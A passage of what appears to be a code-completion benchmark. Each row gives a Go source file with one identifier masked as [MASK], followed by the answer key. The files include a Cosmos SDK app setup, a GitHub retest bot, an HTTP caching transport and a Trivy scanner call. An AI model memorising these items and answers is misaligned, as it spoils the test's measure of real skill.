extended ABCI application type KuchainApp struct { *bam.BaseApp cdc *codec.Codec invCheckPeriod uint // keys to access the substores keys map[string]*sdk.KVStoreKey tKeys map[string]*sdk.TransientStoreKey // subspaces subspaces map[string]params.Subspace // keepers accountKeeper account.Keeper assetKeeper asset.Keeper supplyKeeper supply.Keeper distrKeeper distr.Keeper mintKeeper mint.Keeper paramsKeeper params.Keeper stakingKeeper staking.Keeper slashingKeeper slashing.Keeper evidenceKeeper evidence.Keeper govKeeper gov.Keeper // the module manager mm *module.Manager // simulation manager sm *module.SimulationManager // function manager stakingFuncManager staking.FuncManager } // custom tx codec func MakeCodec() *codec.Codec { var cdc = codec.New() chainTypes.RegisterCodec(cdc) ModuleBasics.RegisterCodec(cdc) sdk.RegisterCodec(cdc) codec.RegisterCrypto(cdc) codec.RegisterEvidences(cdc) cdc.Seal() return cdc } // NewKuchainApp returns a reference to an initialized KuchainApp. func NewKuchainApp( logger log.Logger, db dbm.DB, traceStore io.Writer, loadLatest bool, invCheckPeriod uint, baseAppOptions ...func(*bam.BaseApp), ) *KuchainApp { cdc := MakeCodec() [MASK] := bam.NewBaseApp(appName, logger, db, txutil.DefaultTxDecoder(cdc), baseAppOptions...) [MASK] .SetCommitMultiStoreTracer(traceStore) [MASK] .SetAppVersion(version.Version) keys := sdk.NewKVStoreKeys( bam.MainStoreKey, staking.StoreKey, slashing.StoreKey, evidence.StoreKey, gov.StoreKey, account.StoreKey, asset.StoreKey, supply.StoreKey, params.StoreKey, mint.StoreKey, distr.StoreKey, params.StoreKey, ) tKeys := sdk.NewTransientStoreKeys(params.TStoreKey, staking.TStoreKey, params.TStoreKey) app := &KuchainApp{ BaseApp: [MASK] , cdc: cdc, invCheckPeriod: invCheckPeriod, keys: keys, tKeys: tKeys, subspaces: make(map[string]params.Subspace), } // init params keeper and subspaces app.paramsKeeper = params.NewKeeper(cdc, keys[params.StoreKey], tKeys[params.TStoreKey]) app.subspaces[account.ModuleName] = app.paramsKeeper.Subspace(account.DefaultParamspace) app.subspaces[distr.ModuleName] = app.paramsKeeper.Subspace(distr.DefaultParamspace) app.subspaces[staking.ModuleName] = app.paramsKeeper.Subspace(staking.DefaultParamspace) app.subspaces[slashing.ModuleName] = app.paramsKeeper.Subspace(slashing.DefaultParamspace) app.subspaces[evidence.ModuleName] = app.paramsKeeper.Subspace(evidence.DefaultParamspace) app.subspaces[mint.ModuleName] = app.paramsKeeper.Subspace(mint.DefaultParamspace) app.subspaces[gov.ModuleName] = app.paramsKeeper.Subspace(gov.DefaultParamspace).WithKeyTable(gov.ParamKeyTable()) // add keepers app.accountKeeper = account.NewAccountKeeper(cdc, keys[account.StoreKey]) app.assetKeeper = asset.NewAssetKeeper(cdc, keys[asset.StoreKey], app.accountKeeper) app.supplyKeeper = supply.NewKeeper( cdc, keys[supply.StoreKey], app.accountKeeper, app.assetKeeper, maccPerms, ) stakingKeeper := staking.NewKeeper( app.cdc, keys[staking.StoreKey], app.assetKeeper, app.supplyKeeper, app.subspaces[staking.ModuleName], app.accountKeeper, ) app.stakingFuncManager = staking.NewFuncManager() app.distrKeeper = distr.NewKeeper( cdc, keys[distr.StoreKey], app.subspaces[distr.ModuleName], app.assetKeeper, &app.stakingKeeper, app.supplyKeeper, app.accountKeeper, fee.CollectorName, app.ModuleAccountAddrs()) app.slashingKeeper = slashing.NewKeeper( cdc, keys[slashing.StoreKey], &stakingKeeper, app.subspaces[slashing.ModuleName], ) // create evidence keeper with evidence router evidenceKeeper := evidence.NewKeeper( keys[evidence.StoreKey], app.subspaces[evidence.ModuleName], &stakingKeeper, app.slashingKeeper, ) evidenceRouter := evidence.NewRouter() app.evidenceKeeper = *evidenceKeeper // register the proposal types govRouter := gov.NewRouter() govRouter.AddRoute(gov.RouterKey, gov.ProposalHandler). AddRoute(paramproposal.RouterKey, params.NewParamChangeProposalHandler(app.paramsKeeper)) app.govKeeper = gov.NewKeeper(cdc, keys[gov.StoreKey], app.subspaces[gov.ModuleName], app.supplyKeeper, &stakingKeeper, app.distrKeeper, govRouter, ) // register the staking hooks // NOTE: stakingKeeper above is passed by reference, so that it will contain these hooks app.stakingKeeper = *stakingKeeper.SetHooks( staking.NewMultiStakingHooks(app.distrKeeper.Hooks(), app.slashingKeeper.Hooks()), ) // TODO: register evidence routes evidenceKeeper.SetRouter(evidenceRouter) app.mintKeeper = mint.NewKeeper( cdc, keys[mint.StoreKey], app.subspaces[mint.ModuleName], &app.stakingKeeper, app.supplyKeeper, constants.FeeSystemAccountStr, ) // NOTE: Any module instantiated in the module manager that is later modified // must be passed by reference here. app.mm = module.NewManager( account.NewAppModule(app.accountKeeper, app.assetKeeper), genutil.NewAppModule(app.accountKeeper, app.stakingKeeper, app.BaseApp.DeliverTx, app.stakingFuncManager), asset.NewAppModule(app.accountKeeper, app.assetKeeper), supply.NewAppModule(app.supplyKeeper, app.assetKeeper, app.accountKeeper), distr.NewAppModule(app.distrKeeper, app.accountKeeper, app.assetKeeper, app.supplyKeeper, app.stakingKeeper), slashing.NewAppModule(app.slashingKeeper, app.accountKeeper, app.assetKeeper, app.stakingKeeper), staking.NewAppModule(app.stakingKeeper, app.accountKeeper, app.assetKeeper, app.supplyKeeper), mint.NewAppModule(app.mintKeeper, app.supplyKeeper), evidence.NewAppModule(app.evidenceKeeper, app.accountKeeper, app.assetKeeper), gov.NewAppModule(app.govKeeper, app.accountKeeper, app.assetKeeper, app.supplyKeeper), plugin.NewAppModule(), ) // plugin.ModuleName MUST be the last app.mm.SetOrderBeginBlockers(mint.ModuleName, distr.ModuleName, slashing.ModuleName, evidence.ModuleName, plugin.ModuleName) app.mm.SetOrderEndBlockers(staking.ModuleName, gov.ModuleName, plugin.ModuleName) // NOTE: The genutils module must occur after staking so that pools are // properly initialized with tokens from genesis accounts. app.mm.SetOrderInitGenesis( account.ModuleName, asset.ModuleName, distr.ModuleName, staking.ModuleName, slashing.ModuleName, evidence.ModuleName, gov.ModuleName, supply.ModuleName, genutil.ModuleName, mint.ModuleName, ) app.mm.RegisterRoutes(app.Router(), app.QueryRouter()) // create the simulation manager and define the order of the modules for deterministic simulations // // NOTE: This is not required for apps that don't use the simulator for fuzz testing // transactions. app.sm = module.NewSimulationManager( account.NewAppModule(app.accountKeeper, app.assetKeeper), supply.NewAppModule(app.supplyKeeper, app.assetKeeper, app.accountKeeper), distr.NewAppModule(app.distrKeeper, app.accountKeeper, app.assetKeeper, app.supplyKeeper, app.stakingKeeper), staking.NewAppModule(app.stakingKeeper, app.accountKeeper, app.assetKeeper, app.supplyKeeper), slashing.NewAppModule(app.slashingKeeper, app.accountKeeper, app.assetKeeper, app.stakingKeeper), mint.NewAppModule(app.mintKeeper, app.supplyKeeper), gov.NewAppModule(app.govKeeper, app.accountKeeper, app.assetKeeper, app.supplyKeeper), ) app.sm.RegisterStoreDecoders() // initialize stores app.MountKVStores(keys) app.MountTransientStores(tKeys) // initialize BaseApp app.SetInitChainer(app.InitChainer) app.SetBeginBlocker(app.BeginBlocker) app.SetAnteHandler(ante.NewHandler(app.accountKeeper, app.assetKeeper)) app.SetEndBlocker(app.EndBlocker) if loadLatest { err := app.LoadLatestVersion(app.keys[bam.MainStoreKey]) if err != nil { tmos.Exit(err.Error()) } } constants.LogVersion(app.Logger()) return app } // Name returns the name of the App func (app *KuchainApp) Name() string { return app.BaseApp.Name() } // BeginBlocker application updates every begin block func (app *KuchainApp) BeginBlocker(ctx sdk.Context, req abci.RequestBeginBlock) abci.ResponseBeginBlock { return app.mm.BeginBlock(ctx, req) } // EndBlocker application updates every end block func (app *KuchainApp) EndBlocker(ctx sdk.Context, req abci.RequestEndBlock) abci.ResponseEndBlock { return app.mm.EndBlock(ctx, req) } // InitChainer application update at chain initialization func (app *KuchainApp) InitChainer(ctx sdk.Context, req abci.RequestInitChain) abci.ResponseInitChain { var genesisState simapp.GenesisState app.cdc.MustUnmarshalJSON(req.AppStateBytes, &genesisState) return app.mm.InitGenesis(ctx, genesisState) } // LoadHeight loads a particular height func (app *KuchainApp) LoadHeight(height int64) error { return app.LoadVersion(height, app.keys[bam.MainStoreKey]) } // ModuleAccountAddrs returns all the app's module account addresses. func (app *KuchainApp) ModuleAccountAddrs() map[string]bool { modAccAddrs := make(map[string]bool) for acc := range maccPerms { modAccAddrs[supply.NewModuleAddress(acc).String()] = true } return modAccAddrs } // Codec returns the application's sealed codec. func (app *KuchainApp) Codec() *codec.Codec { return app.cdc } // SimulationManager implements the SimulationApp interface func (app *KuchainApp) SimulationManager() *module.SimulationManager { return app.sm } ",bApp 544,"package main import ( ""context"" ""flag"" ""fmt"" ""log"" ""os"" ""strconv"" ""strings"" ""github.com/google/go-github/github"" ""golang.org/x/oauth2"" ) var ( retryLimit = os.Getenv(""INPUT_MAX-RETRY"") requiredReviewCount = os.Getenv(""INPUT_REQUIRED-APPROVE-COUNT"") exemptlabel = os.Getenv(""INPUT_EXEMPT-LABEL"") requiredlabel = os.Getenv(""INPUT_REQUIRED-LABEL"") githubToken = os.Getenv(""GITHUB_TOKEN"") owner, repo = func() (string, string) { if os.Getenv(""GITHUB_REPOSITORY"") != """" { if len(strings.Split(os.Getenv(""GITHUB_REPOSITORY""), ""/"")) == 2 { return strings.Split(os.Getenv(""GITHUB_REPOSITORY""), ""/"")[0], strings.Split(os.Getenv(""GITHUB_REPOSITORY""), ""/"")[1] } } return """", """" }() ) func main() { flag.Parse() if requiredlabel == """" { log.Fatal(""requiredlabels are not set"") } if githubToken == """" { log.Fatal(""GITHUB_TOKEN is not set"") } if owner == """" || repo == """" { log.Fatal(""GITHUB_REPOSITORY is not set"") } retry, err := strconv.Atoi(retryLimit) if err != nil { log.Fatalf(""max-retry %q is not valid"", retryLimit) } [MASK] , err := strconv.Atoi(requiredReviewCount) if err != nil { log.Fatalf(""required-review-count %q is not valid"", requiredReviewCount) } ctx := context.Background() ts := oauth2.StaticTokenSource( &oauth2.Token{AccessToken: githubToken}, ) tc := oauth2.NewClient(ctx, ts) client := github.NewClient(tc) opt := &github.PullRequestListOptions{} req, _, err := client.PullRequests.List(context.TODO(), owner, repo, opt) if err != nil { log.Fatalf(""failed to list pull requests %v\n"", err) } for _, re := range req { if *re.State == ""open"" { prNumber := re.GetNumber() log.Printf(""PR with ID %d with Title %q is open\n"", prNumber, re.GetTitle()) for _, r := range re.Labels { fmt.Println(""found label"", r.GetName()) // check if label is exempt if strings.EqualFold(exemptlabel, r.GetName()) { continue } // check if label is matching if !strings.EqualFold(requiredlabel, r.GetName()) { continue } log.Printf(""checking status for PR %d with label %s"", prNumber, r.GetName()) rs, _, err := client.Repositories.ListStatuses(context.TODO(), owner, repo, re.GetHead().GetSHA(), &github.ListOptions{}) if err != nil { log.Printf(""failed to list status %v\n"", err) continue } rev, _, err := client.PullRequests.ListReviews(context.Background(), owner, repo, prNumber, &github.ListOptions{}) if err != nil { log.Printf(""failed to list reviews %v\n"", err) continue } approvedReviews := 0 for _, rv := range rev { if rv.GetState() == ""APPROVED"" { approvedReviews += 1 } } if !(approvedReviews >= [MASK] ) { log.Printf(""total approvred reviews for PR %d are %d but required %d"", prNumber, approvedReviews, [MASK] ) continue } creq, _, err := client.Issues.ListComments(context.Background(), owner, repo, prNumber, &github.IssueListCommentsOptions{}) if err != nil { log.Printf(""failed to list comments %v\n"", err) } for _, r := range rs { log.Printf(""found context %s with status %s\n"", r.GetContext(), r.GetState()) if contains([]string{""failed"", ""failure""}, r.GetState()) { log.Printf(""found failed test %s\n"", r.GetContext()) // check if retest limit is reached retestCount := 0 msg := fmt.Sprintf(""/retest %s"", r.GetContext()) for _, pc := range creq { if pc.GetBody() == msg { retestCount += 1 } } log.Printf(""found %d retries and remaining %d retries\n"", retestCount, retry-retestCount) if retestCount >= int(retry) { log.Printf(""Pull Requested %d: %q reached maximum attempt. skipping retest %v\n"", prNumber, r.GetContext(), retestCount) continue } comment := &github.IssueComment{ Body: github.String(msg), } _, _, err := client.Issues.CreateComment(context.Background(), owner, repo, prNumber, comment) if err != nil { log.Printf(""failed to create comment %v\n"", err) } //Post comment with target URL for retesting msg = fmt.Sprintf(""@%s %q test failed. Logs are available at [location](%s) for debugging"", re.GetUser().GetLogin(), r.GetContext(), r.GetTargetURL()) comment.Body = github.String(msg) _, _, err = client.Issues.CreateComment(context.Background(), owner, repo, prNumber, comment) if err != nil { log.Printf(""failed to create comment %v\n"", err) } } } } } } } func contains(s []string, e string) bool { for _, a := range s { if a == e { return true } } return false } ",totalRequiredReviews 545,"package git import ( ""github.com/rawnly/gitgud/run"" ""github.com/rawnly/gitgud/util"" ) type CloneOptions struct { Local bool `json:""local"" flag:""l""` Shared bool `json:""shared"" flag:""s""` NoHardlinks bool `json:""no-hardlinks"" flag:""no-hardlinks""` Progress bool `json:""progress"" flag:""progress""` NoCheckout bool `json:""no-checkout"" flag:""n""` Bare bool `json:""bare"" flag:""bare""` Mirror bool `json:""mirror"" flag:""mirror""` Recursive bool `json:""recursive"" flag:""recursive""` Branch string `json:""branch"" flag:""-b""` Quiet bool `json:""quiet"" flag:""q""` Verbose bool `json:""verbose"" flag:""v""` Directory string } // Clone `git clone` func Clone( [MASK] string, options *CloneOptions) run.Runnable { opts := util.GetOptions(&options) args := util.StringifyOptions(opts) args = append(args, [MASK] ) // util.GetOptions ignores fields that don't have a flag tag if options.Directory != """" { args = append(args, options.Directory) } return run.Git(""clone"", args...) } ",repository 546,"package base type Event struct { OpType int InOut int FromIp string ToIP string MessageStr string MessageOri IMessage } func (e *Event) GetOpType() int { return e.OpType } func (e *Event) SetOpType(op int) { e.OpType = op } func (e *Event) GetInOut() int { return e.InOut } func (e *Event) SetInOut(inOut int) { e.InOut = inOut } func (e *Event) GetFromIp() string { return e.FromIp } func (e *Event) SetFromIp( [MASK] string) { e.FromIp = [MASK] } func (e *Event) GetToIP() string { return e.ToIP } func (e *Event) SetToIp(ip string) { e.ToIP = ip } func (e *Event) GetMessageStr() string { return e.MessageStr } func (e *Event) SetMessageStr(str string) { e.MessageStr = str } func (e *Event) GetMessageOri() IMessage { return e.MessageOri } func (e *Event) SetMessageOri(messageOri IMessage) { e.MessageOri = messageOri } ",fromIp 547,"package gooff import ( ""bufio"" ""bytes"" ""fmt"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ""github.com/dgraph-io/badger"" ) // Transport implements http.RoundTripper. When set as Transport of http.Client, // it will store online requests for offline usage type Transport struct { Transport http.RoundTripper preferDatabase bool only200 bool db *badger.DB } func init() { GoOffline("""", true, true) } // GoOffline returns the default transport, including whether to prefer db // And sets up the database func GoOffline(dbPath string, preferDatabase, only200 bool) { db, err := setupDatabase(dbPath) if err != nil { log.Fatal(err) } http.DefaultTransport = &Transport{http.DefaultTransport, preferDatabase, only200, db} } func setupDatabase(dbPath string) (*badger.DB, error) { if dbPath == """" { dbPath = ""/tmp"" } os.MkdirAll(dbPath, os.ModePerm) return badger.Open(badger.DefaultOptions(dbPath + ""/gooff"")) } // RoundTrip is the core part of this module and implements http.RoundTripper. // // If prefer database is true, always try and return value of request from // database // // If there is data, return it // If there is no data, then send the request anyway // // Store the result, linking it to the request // If the request errors, then attempt to pull from database, otherwise return // as is func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) { var resp *http.Response var err error if t.preferDatabase { if resp, err = t.fetch(req); err == nil { return resp, nil } } resp, err = t.Transport.RoundTrip(req) if err != nil { if resp, err = t.fetch(req); err == nil { return resp, nil } return nil, err } if !t.only200 || (t.only200 && resp.StatusCode == 200) { if err = t.store(req, resp); err != nil { return nil, err } } return resp, err } func (t *Transport) fetch(req *http.Request) (*http.Response, error) { var valCopy []byte err := t.db.View(func(txn *badger.Txn) error { bytesKey, err := key(req) if err != nil { return err } item, err := txn.Get(bytesKey) if err != nil { return err } return item.Value(func(val []byte) error { valCopy = append([]byte{}, val...) return nil }) }) if err != nil { return nil, err } return http.ReadResponse(bufio.NewReader(bytes.NewReader(valCopy)), req) } func (t *Transport) store(req *http.Request, res *http.Response) error { return t.db.Update(func(txn *badger.Txn) error { // capture the bytes bodyBytes, _ := ioutil.ReadAll(res.Body) // must readd the bytes res.Body = ioutil.NopCloser(bytes.NewBuffer(bodyBytes)) var b bytes.Buffer [MASK] := bufio.NewWriter(&b) if err := res.Write( [MASK] ); err != nil { return err } [MASK] .Flush() // must readd again res.Body = ioutil.NopCloser(bytes.NewBuffer(bodyBytes)) log.Println(""Caching endpoint:"", req.URL.String()) bytesKey, err := key(req) if err != nil { return err } return txn.Set(bytesKey, b.Bytes()) }) } func key(req *http.Request) ([]byte, error) { key := fmt.Sprintf(""%s:%s"", req.Method, req.URL.String()) if req.Body != nil { bodyBytes, err := ioutil.ReadAll(req.Body) if err != nil { return []byte{}, err } req.Body = ioutil.NopCloser(bytes.NewBuffer(bodyBytes)) key += "":"" + string(bodyBytes) } return []byte(key), nil } ",writer 548,"package proxyhandler import ( ""encoding/json"" ""strconv"" ) // Node is a data element on a tree type Node struct { Nodes map[string]Nodes Data string DataType string Complex bool List bool } // Nodes is a list of nodes type Nodes []*Node // add appends a node to the list of children func (n *Node) add(label string, node *Node) { if n.Nodes == nil { n.Nodes = map[string]Nodes{} } n.Nodes[label] = append(n.Nodes[label], node) } // encodes to json func (n *Node) encode() ([]byte, error) { object := n.serialize() [MASK] , err := json.Marshal(object) if err != nil { return nil, err } return [MASK] , nil } // serializes a node to plain anonymous objects func (n *Node) serialize() interface{} { if n.Complex { object := make(map[string]interface{}) for label, children := range n.Nodes { if len(children) > 1 || (len(children) == 1 && children[0].List) { s := make([]interface{}, 0) for _, c := range children { s = append(s, c.serialize()) } object[label] = s } else { object[label] = children[0].serialize() } } return object } else { return n.value() } } // converts to datatype func (n *Node) value() interface{} { var val interface{} var err error switch n.DataType { case ""xs:boolean"": val, err = strconv.ParseBool(n.Data) case ""xs:integer"": val, err = strconv.ParseInt(n.Data, 10, 64) case ""xs:decimal"": val, err = strconv.ParseFloat(n.Data, 64) default: val, err = n.Data, nil } if err != nil { return nil } return val } ",bytes 549,"package flagr_test import ( ""errors"" ""fmt"" ""net/netip"" ""os"" ""github.com/flga/flagr"" ) func Example_builtins() { var [MASK] flagr.Set // Builtin types like int, float, etc. a := flagr.Add(& [MASK] , ""a"", flagr.Int(42), ""usage"") // Slices of things, every flag provided by flagr has a slice counterpart. b := flagr.Add(& [MASK] , ""b"", flagr.Ints(1, 2, 3), ""usage"") // A bool flag has the same semantics as std/flag bools. c := flagr.Add(& [MASK] , ""c"", flagr.Bool(false), ""usage"") // One of the extra types flagr provides, along with urls, times, etc. d := flagr.Add(& [MASK] , ""d"", flagr.IPAddrPort(netip.MustParseAddrPort(""127.0.0.1:8080"")), ""usage"") // Same as above but allows defaults to be provided as strings, delegating parsing to flagr. e := flagr.Add(& [MASK] , ""e"", flagr.MustIPAddrPort(""127.0.0.1:8080""), ""usage"") args := []string{ ""-b"", ""5"", ""-b"", ""6"", ""-c"", ""-d"", ""0.0.0.0:80"", } if err := [MASK] .Parse(args); err != nil { if errors.Is(err, flagr.ErrHelp) { os.Exit(0) } os.Exit(2) } fmt.Printf(""a = %v and is a %T\n"", *a, a) fmt.Printf(""b = %v and is a %T\n"", *b, b) fmt.Printf(""c = %v and is a %T\n"", *c, c) fmt.Printf(""d = %v and is a %T\n"", *d, d) fmt.Printf(""e = %v and is a %T\n"", *e, e) // Output: // a = 42 and is a *int // b = [5 6] and is a *[]int // c = true and is a *bool // d = 0.0.0.0:80 and is a *netip.AddrPort // e = 127.0.0.1:8080 and is a *netip.AddrPort } ",set 550,"// SPDX-FileCopyrightText: 2024 SAP SE or an SAP affiliate company and Gardener contributors // // SPDX-License-Identifier: Apache-2.0 package main import ( ""log/slog"" ""net/http"" ""time"" ""github.com/hibiken/asynq/x/metrics"" ""github.com/hibiken/asynqmon"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/collectors"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/urfave/cli/v2"" ""github.com/gardener/inventory/pkg/core/config"" ) // NewDashboardCommand returns a new command for interfacing with the dashboard. func NewDashboardCommand() *cli.Command { cmd := &cli.Command{ Name: ""dashboard"", Usage: ""dashboard operations"", Aliases: []string{""ui""}, Before: func(ctx *cli.Context) error { conf := getConfig(ctx) validatorFuncs := []func(c *config.Config) error{ validateDashboardConfig, } for _, validator := range validatorFuncs { if err := validator(conf); err != nil { return err } } return nil }, Subcommands: []*cli.Command{ { Name: ""start"", Usage: ""start the dashboard ui"", Aliases: []string{""s""}, Action: func(ctx *cli.Context) error { conf := getConfig(ctx) redisClientOpt := newRedisClientOpt(conf) inspector := newInspector(conf) defer inspector.Close() // nolint: errcheck // Asynq UI opts := asynqmon.Options{ RootPath: ""/"", RedisConnOpt: redisClientOpt, ReadOnly: conf.Dashboard.ReadOnly, PrometheusAddress: conf.Dashboard.PrometheusEndpoint, } ui := asynqmon.New(opts) // Metrics [MASK] := prometheus.NewPedanticRegistry() [MASK] .MustRegister( // Queue metrics metrics.NewQueueMetricsCollector(inspector), // Standard Go metrics collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), collectors.NewGoCollector(), ) mux := http.NewServeMux() mux.Handle(""/"", ui) mux.Handle(""/metrics"", promhttp.HandlerFor( [MASK] , promhttp.HandlerOpts{})) srv := &http.Server{ Addr: conf.Dashboard.Address, ReadHeaderTimeout: time.Second * 30, Handler: mux, } slog.Info(""starting server"", ""address"", conf.Dashboard.Address, ""ui"", ""/"", ""metrics"", ""/metrics"") return srv.ListenAndServe() }, }, }, } return cmd } ",promRegistry 551,"package main import ( context ""context"" ""fmt"" ""os"" ""strings"" ""time"" ""github.com/containerd/containerd/plugins/test-plugin/api"" grpc ""google.golang.org/grpc"" ) var inputStr []string func main() { if len(os.Args) > 1 { inputStr = os.Args[1:] } else { fmt.Println(""USAGE : ./test-plugin {string to make uppercase}"") } var opts []grpc.DialOption opts = append(opts, grpc.WithInsecure()) [MASK] , err := grpc.Dial(""unix:///run/containerd/containerd.sock"", opts...) if err != nil { fmt.Printf(""fail to dial: %v"", err) } defer [MASK] .Close() client := api.NewStringServiceClient( [MASK] ) ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() resp, err := client.Capitilize(ctx, &api.CapRequest{Input: strings.Join(inputStr[:], "" "")}) if err != nil { fmt.Println(err) } fmt.Println(resp.Capitilized) } ",conn 552,"package main import ( ""encoding/json"" ""fmt"" ""io"" ""math"" ""net/http"" ""time"" sdkmath ""cosmossdk.io/math"" ""github.com/dgraph-io/ristretto"" ) type Chain struct { ChainID string `json:""chain_id""` Params Params `json:""params""` } type Params struct { EstimatedApr float64 `json:""estimated_apr""` } type APRResponse struct { Chains []ChainAPR `json:""chains""` } type ChainAPR struct { ChainID string `json:""chain_id""` APR float64 `json:""apr""` } func getAPRquery(cache *ristretto.Cache, cfg Config, chainName string) (ChainAPR, error) { var apr float64 var chainID string var err error client := &http.Client{Timeout: time.Duration(3) * time.Second} switch chainName { case ""sommelier"": chainID, apr, err = SommelierApr(client, cfg, chainName) case ""stargaze"": chainID, apr, err = StargazeApr(client, cfg, chainName) default: chainID, apr, err = BasicApr(cache, client, cfg, chainName) } if err != nil { return ChainAPR{}, err } if chainName != ""quicksilver"" { feeadjustedAPR := (apr) * (0.965) compoundedAPR := math.Pow(1+feeadjustedAPR/121.66, 121.66) - 1 return ChainAPR{ChainID: chainID, APR: compoundedAPR}, nil } return ChainAPR{ChainID: chainID, APR: apr}, nil } func BasicApr(cache *ristretto.Cache, client *http.Client, cfg Config, chainName string) (string, float64, error) { url := fmt.Sprintf(""%s/%s"", cfg.APRURL, chainName) var result map[string]json.RawMessage cachedResult, ok := cache.Get(""aprbasic/"" + chainName) if !ok { resp, err := client.Get(url) if err != nil { return """", 0, err } defer resp.Body.Close() err = json.NewDecoder(resp.Body).Decode(&result) if err != nil { return """", 0, err } cache.SetWithTTL(""aprbasic/""+chainName, result, 1, time.Duration(3)*time.Hour) } else { result = cachedResult.(map[string]json.RawMessage) } var chain Chain err := json.Unmarshal(result[""chain""], &chain) if err != nil { return """", 0, err } return chain.ChainID, chain.Params.EstimatedApr, nil } func StargazeApr(client *http.Client, cfg Config, chainname string) (string, float64, error) { [MASK] := ""https://stargaze-1.lcd.quicksilver.zone/stargaze/mint/v1beta1/annual_provisions"" bondedUrl := ""https://stargaze-1.lcd.quicksilver.zone/cosmos/staking/v1beta1/pool"" provisionQuery, err := client.Get( [MASK] ) if err != nil { return """", 0, err } defer provisionQuery.Body.Close() var provisionsResult map[string]sdkmath.LegacyDec provisionsResponse, err := io.ReadAll(provisionQuery.Body) if err != nil { fmt.Println(""Error:"", err) return """", 0, err } err = json.Unmarshal(provisionsResponse, &provisionsResult) if err != nil { return """", 0, err } provisions, err := provisionsResult[""annual_provisions""].Float64() if err != nil { return """", 0, err } bondedQuery, err := client.Get(bondedUrl) if err != nil { return """", 0, err } defer bondedQuery.Body.Close() var bondedResult map[string]map[string]sdkmath.Int bondedResponse, err := io.ReadAll(bondedQuery.Body) if err != nil { fmt.Println(""Error:"", err) return """", 0, err } err = json.Unmarshal(bondedResponse, &bondedResult) if err != nil { return """", 0, err } bonded := float64(bondedResult[""pool""][""bonded_tokens""].Int64()) return ""stargaze-1"", provisions / bonded, nil } func SommelierApr(client *http.Client, cfg Config, chainname string) (string, float64, error) { url := ""https://sommelier-3.lcd.quicksilver.zone/sommelier/incentives/v1/apy"" query, err := client.Get(url) if err != nil { return """", 0, err } var result map[string]sdkmath.LegacyDec response, err := io.ReadAll(query.Body) if err != nil { fmt.Println(""Error:"", err) return """", 0, err } err = json.Unmarshal(response, &result) if err != nil { return """", 0, err } apy, err := result[""apy""].Float64() if err != nil { return """", 0, err } return ""sommelier-3"", apy, nil } ",provisionsUrl 553,"package aeroconf import ( ""fmt"" ""os"" ""strings"" ""testing"" ) func TestParseBasic(t *testing.T) { [MASK] := `# Aerospike database configuration file for use with systemd. service { paxos-single-replica-limit 1 # Number of nodes where the replica count is automatically reduced to 1. proto-fd-max 15000 } logging { file /var/log/aerospike.log { context any info } file /var/log/aerospike-ldap.log { context security detail } } security { enable-security true enable-ldap true ldap { query-base-dn dc=aerospike,dc=com server ldap://LDAPIP:389 disable-tls true user-dn-pattern uid=${un},ou=People,dc=aerospike,dc=com role-query-search-ou false role-query-pattern (&(objectClass=posixGroup)(memberUid=${un})) polling-period 10 } log { report-violation true } } network { tls tls1 { cert-file /etc/aerospike/ssl/tls1/cert.pem key-file /etc/aerospike/ssl/tls1/key.pem ca-file /etc/aerospike/ssl/tls1/cacert.pem } service { #address any #port 3000 tls-port 4333 tls-address any tls-authenticate-client false # could be any | user-defined tls-name tls1 } heartbeat { mode multicast multicast-group 172.16.17.32 port 9918 # To use unicast-mesh heartbeats, remove the 3 lines above, and see # aerospike_mesh.conf for alternative. interval 150 timeout 10 } fabric { #port 3001 tls-port 3011 tls-name tls1 } info { port 3003 } } namespace test { replication-factor 2 memory-size 4G default-ttl 30d # 30 days, use 0 to never expire/evict. storage-engine memory } namespace bar { replication-factor 2 memory-size 4G default-ttl 30d # 30 days, use 0 to never expire/evict. storage-engine memory # To use file storage backing, comment out the line above and use the # following lines instead. # storage-engine device { # file /opt/aerospike/data/bar.dat # filesize 16G # data-in-memory true # Store data in memory in addition to file. # } } ` r := strings.NewReader( [MASK] ) s, err := Parse(r) if err != nil { fmt.Println(err) t.FailNow() } fmt.Println(s.Type(""service"")) fmt.Println(s.Stanza(""service"").Type(""proto-fd-max"")) out, _ := s.Stanza(""service"").GetValues(""proto-fd-max"") for _, i := range out { fmt.Println(*i) } if s.Stanza(""service"") == nil { s.NewStanza(""service"") } s.Stanza(""service"").SetValue(""proto-fd-max"", ""30000"") if s.Stanza(""network"") == nil { s.NewStanza(""network"") } if s.Stanza(""network"").Stanza(""heartbeat"") == nil { s.Stanza(""network"").NewStanza(""heartbeat"") } s.Stanza(""network"").Stanza(""heartbeat"").Delete(""multicast-group"") s.Stanza(""network"").Stanza(""heartbeat"").SetValue(""mode"", ""mesh"") s.Stanza(""network"").Stanza(""heartbeat"").SetValues(""mesh-seed-address-port"", SliceToValues([]string{""172.17.0.2 3000"", ""172.17.0.3 3000""})) s.Stanza(""network"").Delete(""info"") s.Stanza(""network"").NewStanza(""info"") s.Stanza(""network"").Stanza(""info"").SetValue(""port"", ""3003"") err = s.Write(os.Stdout, """", "" "", true) if err != nil { fmt.Println(err) t.FailNow() } } ",items 554,"package main import ( ""context"" ""encoding/json"" ""flag"" ""fmt"" ""github.com/aquasecurity/trivy/pkg/commands/artifact"" flag2 ""github.com/aquasecurity/trivy/pkg/flag"" ""github.com/aquasecurity/trivy/pkg/types"" ""github.com/aquasecurity/trivy/pkg/utils"" ) func main() { var ( srcName string ) flag.StringVar(&srcName, ""image"", """", ""image name"") flag.Parse() fmt.Println(srcName) ctx := context.Background() [MASK] := flag2.Options{} [MASK] .ListAllPkgs = true dbOpt := flag2.DBOptions{} dbOpt.SkipDBUpdate = true [MASK] .Target = srcName [MASK] .OfflineScan = true [MASK] .SecurityChecks = []string{""vuln""} [MASK] .DBOptions = dbOpt [MASK] .GlobalOptions.CacheDir = utils.DefaultCacheDir() [MASK] .VulnType = []string{types.VulnTypeOS, types.VulnTypeLibrary} fmt.Println( [MASK] .GlobalOptions.CacheDir) r, err := artifact.NewRunner(ctx, [MASK] ) if err != nil { fmt.Println(""artifact.NewRunner err:"", err.Error()) return } defer r.Close(ctx) report, err := r.ScanImage(ctx, [MASK] ) if err != nil { fmt.Println(""ScanImage err:"", err.Error()) return } data, _ := json.Marshal(report) fmt.Println(string(data)) } ",cliOpt 555,"// Copyright 2024 The Tessera authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 